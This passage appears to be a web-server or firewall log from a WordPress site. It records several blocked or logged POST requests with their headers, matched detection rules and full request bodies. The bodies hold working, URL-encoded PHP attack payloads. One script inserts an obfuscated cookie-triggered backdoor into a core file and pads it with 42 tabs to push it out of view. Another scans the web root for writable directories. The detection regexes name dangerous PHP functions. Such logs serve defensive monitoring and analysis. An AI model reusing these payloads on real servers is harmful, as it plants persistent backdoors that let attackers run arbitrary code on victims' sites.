D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:02:27","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:3248\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\n\nZA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:02:33","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3271\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:02:36","78.142.18.172","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Dg:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3811\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvETpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\n\nDg=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:03:14","217.217.254.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> KV:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:3811\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google 